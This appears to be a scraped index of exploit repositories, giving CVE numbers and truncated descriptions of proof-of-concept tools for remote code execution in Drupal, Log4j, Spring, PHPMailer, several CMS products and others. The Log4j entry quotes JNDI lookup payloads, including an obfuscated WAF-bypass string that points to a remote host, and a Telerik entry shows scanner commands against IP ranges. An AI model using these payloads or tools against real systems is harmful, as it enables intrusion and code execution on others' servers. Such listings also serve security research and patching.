CVE-2026-9277

CVE-2026-9277 - Shell-Quote Command Injection Exploit A specialized Proof of Concept PoC exploit script designed to verify and demonstrate CVE-2026-9277 —a structural Command Injection vulnerability found in legacy versions of the shell-quote library = 1.8.3. The scanner performs deep structural...

CVE-2026-90920 Maximo AI Service Code Injection

IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation...

CVE-2026-90920

The IBM Maximo AI Service versions 9.1.0 and 9.2.0 are vulnerable to a Code Injection vulnerability (CWE-94). A remote attacker can execute arbitrary code because of improper control over code generation. The vulnerability has a CRITICAL severity score of 9.8, allowing for high impact on confiden...

CVE-2019-6340

Drupal Drupal 8.6.x RCE Exploit exploit CVE: CVE-2019-6340 CMS: Drupal CMS Version: Drupal 8.6.x tested condition: -Drupal 8.6.x, 8.6.10 OR Drupal 8.5.11 -RESTful Web Services module is enabled...

CVE-2022-22963

CVE-2022-22963 In versions 3.1.6, 3.2.2, and earlier versions of Spring Cloud Function, when using the routing functionality, it is possible for a user to provide a specially crafted SpEL as a routing expression that can result in remote code execution and access to local resources. PoC Clone the...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution RCE Authenticated Date: 13.03.2022 Exploit Author: Ashish Koli Shikari Vendor Homepage: https://github.com/pluck-cms/pluck Version: 4.7.16 Tested on Ubuntu 20.04.3 LTS CVE: CVE-2022-26965...

Spring-Cloud-Gateway-CVE-2022-22947

Spring-Cloud-GatewayCVE-2022-22947 Spring Cloud Gateway Remote Code Execution Vulnerability python3 springrce.py url cmd There is a cache, execute it several times...

CVE-2020-25042-PoC

CVE-2020-25042-PoC Proof-of-concept for CVE-2020-25042, an authenticated arbitrary file upload issue in Mara CMS 7.5 that can lead to remote code execution. The script logs in with a valid Mara CMS admin/manager account, uploads a PHP payload through codebase/handler.php, and executes commands...

CVE-2026-84318

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginxconfigadd writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API POST /api/configs does call that...

CVE-2026-109556

EdgeEver Desktop 1.92.0 through 1.112.0 contains a remote code execution vulnerability in the desktop:acp-probe IPC handler, which lacks a sender check and spawns a caller-supplied input.path executable. Attackers with script execution in a renderer, such as via template-preview or drag-preview...

Log4J_0day_RCE

Join Community Telegram CVE-2021-44228Apache Log4j Remote Code Execution） Affected versions you can use JNDI-Injection-Exploit to Exploit. Bypass rc1 For example: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

CVE-2025-55182-React2Shell-RCE-Shell

‼️ CVE-2025-55182 Pwn React2Shell RCE Exploit with Interactive Shell Prompt & Mass Exploitation This repository provides a working proof-of-concept for CVE-2025-55182, an RCE affecting some deployments of Next.js. The tool opens an interactive shell prompt on exploitation, enabling security...

CVE-2026-38526-PoC

CVE-2026-38526 | Krayin CRM v2.2.x Authenticated RCE - Unrestricted PHP File Upload via TinyMCE Description CVE-2026-38526 is a critical authenticated remote code execution vulnerability affecting Webkul Krayin CRM v2.2.x. The vulnerability exists in the TinyMCE media upload endpoint...

PoC-CVE-2022-30190

POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina Info : New Microsoft Office zero-day used in attacks to execute PowerShell Summary On the 29th of May 2022, the NaoSec team, an independent Cyber Security Research Team, discovered a malicious Office document shared on Virustotal. This...

log4shell-docker-lab

Log4Shell docker lab for CVE-2021-44228 The components This docker lab makes use of three components, being: The vulnerable spring-boot application An HTTP server that hosts .class files used for remote code execution An LDAP referral server which redirects specific LDAP queries to the HTTP serve...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Remote Code Execution PHPMailer is the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily. Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more PHPMailer...

CVE-2026-29041

CVE-2026-29041 — Authenticated RCE via Unrestricted File Upload in Chamilo LMS 1.11.32 -yellow?style=for-the-badge Authenticated Remote Code Execution in Chamilo LMS 1.11.32 via improper file upload validation in the ckuploadimage AJAX endpoint. A low-privileged student can upload a PHP web shell...

CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC

CVE-2026-38751 – OpenSTAManager Arbitrary File Upload PoC This repository contains a proof-of-concept PoC exploit for CVE-2026-38751, affecting OpenSTAManager ≤ 2.10. The vulnerability allows an authenticated attacker to upload a malicious module via the module update functionality, leading to...

CVE-2021-27877-PoC

CVE-2021-27877 Proof of Concept This repository contains a modified version of the original Rapid7 Metasploit module for CVE-2021-27877 affecting the Veritas Backup Exec Agent. During my testing, the original Metasploit module successfully identified the target as vulnerable but consistently fail...